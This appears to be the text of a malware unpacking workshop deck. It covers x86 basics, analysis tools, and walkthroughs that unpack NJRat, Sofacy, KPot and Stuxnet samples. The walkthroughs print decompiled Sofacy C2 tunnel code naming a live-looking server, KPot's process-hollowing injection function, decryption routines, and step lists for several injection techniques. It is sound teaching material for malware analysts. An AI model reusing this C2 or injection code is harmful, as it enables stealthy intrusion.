Malware Unpacking Workshop

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August 28, 2019

Table: *who.is results*

Name	Lilly Chalupowski
Status	Employed
Creation Date	1986
Expiry	A Long Time from Now (Hopefully)
Registrant Name	GoSecure
Administrative Contact	Travis Barlow
Job	TITAN Malware Research Lead

Agenda
What will we cover?

- Disclaimer
- Reverse Engineering
- Tools of the Trade
- Injection Techniques
- Workshop

disclaimer_0.log

The tools and techniques covered in this presentation can be dangerous and are being shown for educational purposes.

It is a violation of Federal laws to attempt gaining unauthorized access to information, assets or systems belonging to others, or to exceed authorization on systems for which you have not been granted.

Only use these tools with/on systems you own or have written permission from the owner. I (the speaker) do not assume any responsibility and shall not be held liable for any illegal use of these tools.

GoSecure

disclaimer_1.log

I (the speaker) do not assume any responsibility and shall not be held liable for anyone who infects their machine with the malware supplied for this workshop.

If you need help on preventing the infection of your host machine please raise your hand during the workshop for assistance before you run anything.

The malware used in this workshop can steal your data, shutdown nuclear power plants, encrypt your files and more.

Inspiration
John F. Kennedy

john_f_kennedy.log

We choose to reverse engineer! We choose to reverse engineer... We choose to reverse engineer and do the other things, not because they are easy, but because they are hard; because that goal will serve to organize and measure the best of our energies and skills, because that challenge is one that we are willing to accept, one we are unwilling to postpone, and one we intend to win, and the others, too. - John F. Kennedy


REVERSE ENGINEERING MALWARE?
NO PROBLEM THAT'S EASY!
imgflip.com

- EAX - Return Value of Functions
- EBX - Base Index (for use with arrays)
- ECX - Counter in Loops
- EDI - Destination Memory Operations
- ESI - Source Memory Operations
- ESP - Stack Pointer
- EBP - Base Frame Pointer



Did You Know: In computer architecture, a processor register is a quickly accessible location available to a computer's central processing unit (CPU).


We Rent Tools
Professional Tools For Professional Results
Tool Rental
WE RENT

- Last-In First-Out
- Downward Growth
- Function Local Variables
- ESP
- Increment / Decrement = 4
  - Double-Word Aligned




CPU Registers
esp
stack pointer
ebp
frame pointer
eax
return value
local_buffer
f o o b a r 00 ?
local1
8
08 00 00 00
saved ebp
return address
param1
512
00 02 00 00
param2
65536
00 00 01 00
-12(%ebp)
-4(%ebp)
(%ebp)
4(%ebp)
8(%ebp)
12(%ebp)
stack growth
higher memory addresses

- Conditionals
  - CMP
  - TEST
  - JMP
  - JNE
  - JNZ
- EFLAGS
  - ZF / Zero Flag
  - SF / Sign Flag
  - CF / Carry Flag
  - OF/Overflow Flag

- CDECL
  - Arguments Right-to-Left
  - Return Values in EAX
  - Caller Function Cleans the Stack
- STDCALL
  - Used in Windows Win32API
  - Arguments Right-to-Left
  - Return Values in EAX
  - The Callee function cleans the stack, unlike CDECL
  - Does not support variable arguments
- FASTCALL
  - Uses registers as arguments
  - Useful for shellcode

- Stack - Grows up to lower addresses
- Heap - Grows down to higher addresses
- Program Image
- TEB - Thread Environment Block
  - GetLastError()
  - GetVersion()
  - Pointer to the PEB
- PEB - Process Environment Block
  - Image Name
  - Global Context
  - Startup Parameters
  - Image Base Address
  - IAT (Import Address Table)

- Identical to the IDT (Import Directory Table)
- Binding - The process of where functions are mapped to their virtual addresses overwriting the IAT
- Often the IDT and IAT must be rebuilt when packing and unpacking malware



- Common Instructions
  - MOV
  - LEA
  - XOR
  - PUSH
  - POP

cdecl.c

```
__cdecl int add_cdecl(int a, int b){
  return a + b;
}
int x = add_cdecl(2, 3);
```

cdecl.asm

```
_add_cdecl:
  push ebp
  mov ebp, esp
  mov eax, [ebp + 8]  ; get 3 from the stack
  mov edx, [ebp + 12] ; get 2 from the stack
  add eax, edx        ; add values to eax
  pop ebp
  ret
_start:
  push 3              ; second argument
  push 2              ; first argument
  call _add_cdecl
  add esp, 8
```

Assembly STDCALL (Windows)

stdcall.c

```
__stdcall int add_stdcall(int a, int b){
  return a + b;
}
int x = add_stdcall(2, 3);
```

Assembly STDCALL (Windows)

reverse_engineering: 0x0c

GoSecure

stdcall.asm

```
_add_stdcall:
  push ebp
  mov ebp, esp
  mov eax, [ebp + 8]   ; set eax to 3
  mov edx, [ebp + 12]  ; set edx to 2
  add eax, edx
  pop ebp
  ret 8                ; how many bytes to pop
_start:                ; main function
  push 3               ; second argument
  push 2               ; first argument
  call _add_stdcall
```

cdecl.c

```
__fastcall int add_fastcall(int a, int b){
  return a + b;
}
int x = add_fastcall(2, 3);
```

fastcall.asm

```
_add_fastcall:
  push ebp
  mov ebp, esp
  add eax, edx          ; add and save result in eax
  pop ebp
  ret
_start:
  mov eax, 2            ; first argument
  mov edx, 3            ; second argument
  call _add_fastcall
```

hello.asm

```
section     .text                   ; the code section
global      _start                  ; tell linker entrypoint
_start:
  mov     edx,len                   ; message length
  mov     ecx,msg                   ; message to write
  mov     ebx,1                     ; file descriptor stdout
  mov     eax,4                     ; syscall number for write
  int     0x80                      ; linux x86 interrupt
  mov     eax,1                     ; syscall number for exit
  int     0x80                      ; linux x86 interrupt
section     .data                   ; the data section
  msg     db  'Hello, world!',0x0   ; null terminated string
  len     equ \$ - msg              ; message length
```

terminal

```
malware@work ~$ nasm -f elf32 -o hello.o hello.asm
malware@work ~$ ld -m elf_i386 -o hello hello.o
malware@work ~$ ./hello
Hello, World!
malware@work ~$
```


STOP USING AT&T SYNTAX!!
YOU DONKEY!
C. Fox/Everett / Rex Features


WINDOWS
MAC
LINUX
WHAT I EXPECTED
WHAT I GOT

- Snapshots
- Security Layer
- Multiple Systems



- Resolving APIs
- Dumping Memory
- Modify Control Flow
- Identify Key Behaviors




Disassembly
Registers
EFLAGS
Heap
Stack

x64dbg

tools_of_the_trade: 0x03



x64dbg

tools_of_the_trade: 0x04

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

- Markup Reverse Engineered Code
- Control Flow Navigation
- Pseudo Code



Cutter
tools_of_the_trade: 0x06




File Machines View Input Devices Help
Cutter - C:\Users\malware\Desktop\solacy-packed.bin
File Edit View Windows Debug Help
Functions
Graph (fcn.00401440)
Disassembly
Imports
Address Type Safety Name
0x0040e120 FUNC OLEAUT32.dll_SafeArrayAccessData
0x0040e10c FUNC OLEAUT32.dll_SafeArrayDestroy
0x0040e124 FUNC OLEAUT32.dll_SafeArrayGetDim
0x0040e114 FUNC OLEAUT32.dll_SafeArrayUnlock
Graph (fcn.00401440)
Dashboard
Hexdump
Strings
Search
Classes
VTable
4 Items
Start
Right Ctrl


[0x00003960]> !screenfetch
c3rb3ru5@d3d53c
OS: Gentoo 2.6
Kernel: x86_64 Linux 4.19.66-gentoo
Uptime: 1h 13m
Packages: 991
Shell: r2
Resolution: 1920x1080
WM: i3
GTK Theme: Adwaita-dark [GTK2/3]
Icon Theme: HighContrast
Font: Sans 10
CPU: AMD Ryzen 7 PRO 2700U w/ Radeon Vega Mobile Gfx @ 8x 2.2GHz
GPU: AMD/ATI Raven Ridge [Radeon Vega Series / Radeon Vega Mobile Series]
RAM: 6682MiB / 30988MiB
[0x00003960]> pd 16
;-- section..text:
/ (fcn) main 670
int main (int argc, char **argv, char **envp);
bp: 0 (vars 0, args 0)
sp: 0 (vars 9, args 0)
rg: 2 (vars 0, args 2)
; DATA XREF from entry0 (0x530d)
0x00003960 4157 push r15 ; [13] -r-x section size 72107 named .text
0x00003962 4156 push r14
0x00003964 4155 push r13
0x00003966 4154 push r12
0x00003968 55 push rbp
0x00003969 53 push rbx
0x0000396a 89fd mov ebp, edi ; argc
0x0000396c 4889f3 mov rbx, rsi ; argv
0x0000396f 4883ec48 sub rsp, 0x48 ; 'H'
0x00003973 4803b3e mov rdi, qword [rsi] ; argv
0x00003976 e875fcffff call fcn.000115f0
0x0000397b 488d3560330100 lea rsi, [0x00016ce2] ; const char *locale
0x00003982 bf06000000 mov edi, 6 ; int category
0x00003987 e824feffff call sym.imp.setlocale ; char *setlocale(int category, const char *locale)
0x0000398c 488d3580340100 lea rsi, str.usr_share_locale ; 0x16e23 ; "/usr/share/locale" ; char *dirname
0x00003993 488d3d6f340100 lea rdi, [0x00016e09] ; "coreutils" ; char *domainname
[0x00003960]> px 32
offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00003960 4157 4156 4155 4154 5553 89fd 4889 f348 AWAVAUATUS..H..H
0x00003970 83ec 4848 8b3e e875 dc00 0048 8d35 6033 ..HH.>.u...H.5`3
[0x00003960]> !scrot

- Type
- Packer
- Linker
- Entropy



- Modify Dumps
- Read Memory
- Determine File Type



- Code View
- Debugging
- Unpacking



terminal

```
malware@work ~$ file sample.bin
sample.bin: PE32 executable (GUI) Intel 80386, for MS Windows
malware@work ~$ exiftool sample.bin > metadata.log
malware@work ~$ hexdump -C -n 128 sample.bin | less
malware@work ~$ VBoxManage list vms
"win10" {53014b4f-4c94-49b0-9036-818b84a192c9}
"win7" {942cde2e-6a84-4edc-b98a-d7326b4662ee}
malware@work ~$ VBoxManage startvm win7
malware@work ~$
```

- Automated
- Deobfuscation
- Unpacking



- Unpacking
- Process Hollowing Extraction
- Dump Processes


When you're afraid of Injection 😬
But your crush is watching 😂
That relatable moment when your crush comes to watch your doctor's appointment 😂😂😂😂😂😂😂

- Get Handle to Target Process
- Allocate Memory
- Write Memory
- Execute by use of Remote Thread



PE (Portable Executable) Injection

injection_techniques: 0x01

- Obtain Handle to Target Process
- Inject Image to Target Process
- Modify Base Address
- Modify Relocation Data
- Execute your Payload



- Create Suspended Process
- Hollow Process with NtUnmapViewOfSection
- Allocate Memory in Process
- Write Memory to Process
- Resume Thread / Process



Atomic bomb test in Italy, 1957, colorized

- Open Target Process
- Get Handle to Alertable Thread
- Find Code Cave
- Shellcode to Call ZwAllocateVirtualMemory and memcpy
- Call GlobalAddAtom
- Suspend Target Thread
- NtQueueApcThread
- Resume Target Thread



- dc09543850d109fbb78f7c91badcda0d
- fe8f363a035fdbefcee4567bf406f514
- 5466c52191ddd1564b4680060dc329cb
- 016169ebebf1cec2aad6c7f0d0ee9026

- dc09543850d109fbb78f7c91badcda0d
  - NJRat
- fe8f363a035fdbefcee4567bf406f514
  - Sofacy / FancyBear
- 5466c52191ddd1564b4680060dc329cb
  - KPot
- 016169ebebf1cec2aad6c7f0d0ee9026
  - Stuxnet

- Determine the File Type
- Because this is .NET we may wish to use DnSpy
- Let's see if it's packed now



- Low Entropy?
- Look at the beginning
- We should now look into the code using DnSpy



- Assembly.Load
- Set Breakpoint on this function
- Start Debugging



- Breakpoint on Assembly.Load
- Save the Raw Array to Disk



- MZ at the beginning
- Appears to be the Payload
- Let's see what kind of file it is



- Looks like .NET Again
- Let's look at DnSpy



Unpacking NJRat

solutions: 0x07

- Keylogger Code
- CnC Traffic Code



- CnC Server IP Address
- CnC Keyword




FANCY BEAR

- C++
- No Packer Detected
- Let's look at entropy



- Not Packed?
- Let's look in x64dbg





Figure: Sofacy / FancyBear - PortexAnalyzer

NOTE: Some areas seem to have higher entropy than others!

- Interesting Export



- .NET Assembly Injection Method



- Create .NET Instance



- SafeArrayLock
- SafeArrayUnlock
- SafeArrayDestroy
- What is happening between these?



Unpacking Sofacy / FancyBear

solutions: 0x11



- After Dumping the Data
- Interesting Metadata





Figure: Sofacy Dumped Payload - Appears Unpacked

NOTE: Looks like this is in .NET so let's use DnSpy!

```
private static bool CreateMainConnection()
{
    string requestUriString = "https://" + Tunnel.server_ip;
    try
    {
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUriString);
        WebRequest.DefaultWebProxy.Credentials = CredentialCache.DefaultNetworkCredentials;
        StringBuilder stringBuilder = new StringBuilder(255);
        int num = 0;
        Tunnel.UrlMkGetSessionOption(268435457, stringBuilder, stringBuilder.Capacity, ref num, 0);
        string text = stringBuilder.ToString();
        if (text.Length == 0)
        {
            text = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0";
        }
        httpWebRequest.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
        httpWebRequest.ContentType = "text/xml; charset=utf-8";
        httpWebRequest.UserAgent = text;
        httpWebRequest.Accept = "text/xml";
        ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine
          (ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate,
          X509Chain chain, SslPolicyErrors sslPolicyErrors) => true));
        WebResponse response = httpWebRequest.GetResponse();
        Stream responseStream = response.GetResponseStream();
        Type type = responseStream.GetType();
        PropertyInfo property = type.GetProperty("Connection", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic |
          BindingFlags.GetProperty);
        object value = property.GetValue(responseStream, null);
        Type type2 = value.GetType();
        PropertyInfo property2 = type2.GetProperty("NetworkStream", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic |
          BindingFlags.GetProperty);
        Tunnel.TunnelNetStream_ = (NetworkStream)property2.GetValue(value, null);
        Type type3 = Tunnel.TunnelNetStream_.GetType();
        PropertyInfo property3 = type3.GetProperty("Socket", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic |
          BindingFlags.GetProperty);
        Tunnel.TunnelSocket_ = (Socket)property3.GetValue(Tunnel.TunnelNetStream_, null);
    }
    catch (Exception)
    {
        return false;
    }
    return true;
}

// Token: 0x04000001 RID: 1
public static string server_ip = "tvopen.online";
```

Figure: Sofacy / FancyBear - CnC Code

- Looks like this is an ISO
- Let's extract it!



- Extract the ISO Image



- Packed with Smart Assembly
- Let's now try de4dot



- de4dot detected smart assembly
- Let's have a look in DnSpy!



Unpacking KPot
solutions: 0x19



- Uses Rijndael for string obfuscation
- We can use C# in Visual Studio!

```
static string smethod_30(string string_0)
{
    string s = "美明八零会家美";
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
    string result;
    try
    {
        byte[] array = new byte[32];
        byte[] sourceArray = md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(s));
        Array.Copy(sourceArray, 0, array, 0, 10);
        Array.Copy(sourceArray, 0, array, 15, 10);
        rijndaelManaged.Key = array;
        rijndaelManaged.Mode = CipherMode.ECB;
        ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
        byte[] array2 = Convert.FromBase64String(string_0);
        string @string = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
        result = @string;
    }
    catch (Exception ex)
    {
    }
    return result;
}
```

```
class Program
{
    1 reference
    static string decode(string string_0)
    {
        string s = "美明八蒂会家美";
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
        string result;
        byte[] array = new byte[32];
            byte[] sourceArray = md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(s));
            Array.Copy(sourceArray, 0, array, 0, 10);
            Array.Copy(sourceArray, 0, array, 15, 10);
            rijndaelManaged.Key = array;
            rijndaelManaged.Mode = CipherMode.ECB;
            ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
            byte[] array2 = Convert.FromBase64String(string_0);
            string @string = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
            result = @string;
            return result;
    }
    0 references
    static void Main(string[] args)
    {
        Console.WriteLine(decode(args[0]));
    }
}
```

NOTE: Just use copy and paste and now let's try it in PowerShell!



Figure: Unpacking KPot - String Deobfuscation

NOTE: Now let's look at the injection function!

```
static bool smethod_27(object[] object_0)
{
    Class5.Class6 @class = new Class5.Class6();
    Class8.Delegate1 @delegate = Class5.smethod_0<Class8.Delegate1>(Class15.smethod_36("uzbZJOXM1ti/o9VzPqHexQ==", Class15.smethod_36("kVdWt2m955ig9LvIKqBJ7Q==");
    Class8.Delegate2 delegate2 = Class5.smethod_0<Class8.Delegate2>(Class15.smethod_36("uzbZJOXM1ti/o9VzPqHexQ==", Class15.smethod_36("M+Cx1wPRkCQPwhR5g7XQekaqAMuhh60oEKoaAbNvuIk=");
    Class8.Delegate3 delegate3 = Class5.smethod_0<Class8.Delegate3>(Class15.smethod_36("uzbZJOXM1ti/o9VzPqHexQ==", Class15.smethod_36("QCVByD5Kb4dymngcmPozmijexOC14Oik/RQZbeXPCDo=");
    Class8.Delegate4 delegate4 = Class5.smethod_0<Class8.Delegate4>(Class15.smethod_36("uzbZJOXM1ti/o9VzPqHexQ==", Class15.smethod_36("FjiFXnN7CBcQa33vgPA3BS5YktkkXqZt0GLjZJiitb8=");
    Class8.Delegate5 delegate5 = Class5.smethod_0<Class8.Delegate5>(Class15.smethod_36("eDAECoHuT4guqKSvOGp4yg==", Class15.smethod_36("e4WJnVJ/R9vGiA+MBU/59/rUjihz+FgywIB80+3YkVw=");
    Class8.Delegate6 delegate6 = Class5.smethod_0<Class8.Delegate6>(Class15.smethod_36("eDAECoHuT4guqKSvOGp4yg==", Class15.smethod_36("oKL4yaE9EBm/y9S+kqvCkaq4w3M21Bt7/g7gAFxXVD4=");
    Class8.Delegate7 delegate7 = Class5.smethod_0<Class8.Delegate7>(Class15.smethod_36("uzbZJOXM1ti/o9VzPqHexQ==", Class15.smethod_36("BGwD03vCcYuc0GAsN3P9tw==");
    Class8.Delegate8 delegate8 = Class5.smethod_0<Class8.Delegate8>(Class15.smethod_36("eDAECoHuT4guqKSvOGp4yg==", Class15.smethod_36("1y1ljydF6nv9OhRn++0LQ==");
    string text = (string)object_0[0];
    byte[] array = (byte[])object_0[1];
    bool flag = (bool)object_0[2];
    bool flag2 = (bool)object_0[3];
    string text2 = (string)object_0[4];
    int num = 0;
    string text3 = string.Format("\"{0}\"", text2);
    Class8.Struct1 @struct = default(Class8.Struct1);
    @class.struct0_0 = default(Class8.Struct0);
    @struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(Class8.Struct1)));
    bool result;
    try
    {
        Class5.Class6.Class7 class2 = new Class5.Class6.Class7();
        class2.class6_0 = @class;
        if (!string.IsNullOrEmpty(text))
```

Figure: Unpacking KPot - New String Obfuscation Function

NOTE: Let's look at the deobfuscation function!

```
static string smethod_36(string string_0)
{
    string password = "fdfdfrtertert";
    string s = "fdfdfrtertert";
    string s2 = "@1B2c3D4sfg5F6g7H8";
    byte[] bytes = Encoding.ASCII.GetBytes(s2);
    byte[] bytes2 = Encoding.ASCII.GetBytes(s);
    byte[] array = Convert.FromBase64String(string_0);
    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes2, 2);
    byte[] bytes3 = rfc2898DeriveBytes.GetBytes(32);
    ICryptoTransform transform = new RijndaelManaged
    {
        Mode = CipherMode.CBC
    }.CreateDecryptor(bytes3, bytes);
    MemoryStream memoryStream = new MemoryStream(array);
    CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
    byte[] array2 = new byte[checked(array.Length - 1 + 1)];
    int count = cryptoStream.Read(array2, 0, array2.Length);
    memoryStream.Close();
    cryptoStream.Close();
    return Encoding.UTF8.GetString(array2, 0, count);
}
```

Figure: Unpacking KPot - Different Deobfuscation Function

NOTE: Should be able to do copy and paste again with Visual Studio!

deobfuscation.cs

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
static string decode_0(string string_0){
  string s = "[input unicode characters here]";
  RijndaelManaged rijndaelManaged = new RijndaelManaged();
  MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
  string result;
  byte[] array = new byte[32];
  byte[] sourceArray = md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(s));
  Array.Copy(sourceArray, 0, array, 0, 10);
  Array.Copy(sourceArray, 0, array, 15, 10);
  rijndaelManaged.Key = array;
  rijndaelManaged.Mode = CipherMode.ECB;
  ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
  byte[] array2 = Convert.FromBase64String(string_0);
  string @string = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
  result = @string;
  return result;
}
```

deobfuscation.cs

```
static string decode_1(string string_0){
  string password = "fdfdfrtertert";
  string s = "fdfdfrtertert";
  string s2 = "@1B2c3D4sfg5F6g7H8";
  byte[] bytes = Encoding.ASCII.GetBytes(s2);
  byte[] bytes2 = Encoding.ASCII.GetBytes(s);
  byte[] array = Convert.FromBase64String(string_0);
  Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes2, 2);
  byte[] bytes3 = rfc2898DeriveBytes.GetBytes(32);
  ICryptoTransform transform = new RijndaelManaged
  {
      Mode = CipherMode.CBC
  }.CreateDecryptor(bytes3, bytes);
  MemoryStream memoryStream = new MemoryStream(array);
  CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
  byte[] array2 = new byte[checked(array.Length - 1 + 1)];
  int count = cryptoStream.Read(array2, 0, array2.Length);
  memoryStream.Close();
  cryptoStream.Close();
  return Encoding.UTF8.GetString(array2, 0, count);
}
```



Figure: Unpacking KPot - Process Hollowing Functions

NOTE: Looks like process hollowing, let's breakpoint right before the call to NtResumeThread or delegate8!

Unpacking KPot
solutions: 0x22



Figure: Unpacking KPot - Now we need to extract it with pe-seive!



Figure: Open with Cutter and now we can see strings!

- It's not .NET anymore?
- Interesting Let's Look!





Figure: Stuxnet - PortexAnalyzer

NOTE: Here we can see that it appears packed due to high entropy

- Here we see .stub
- Points to Packed Data



- Unpacking Function
- Injection Function





Figure: Stuxnet Unpacking - Locating the .stub section

- Step until .stub is found





Figure: Stuxnet Unpacking - Offset to Stub



Figure: Stuxnet Unpacking - Unpacking Routine

Unpacking Stuxnet

solutions: 0x2c



Figure: Stuxnet Unpacking - Unpacked Payload in Memory



Figure: Stuxnet Unpacking - Entropy After Stage 1



Figure: Stuxnet Unpacking - Start of Stage 2 (UPX)



Figure: Stuxnet Unpacking - Start of Stage 2 (UPX)



Figure: Stuxnet Unpacking - Start of Stage 2 (UPX)



Figure: Stuxnet Unpacking - Start of Stage 2 (UPX)



Figure: Stuxnet Unpacking - Checking Entropy Again



Figure: Stuxnet Unpacking - Can View Strings and Functions!

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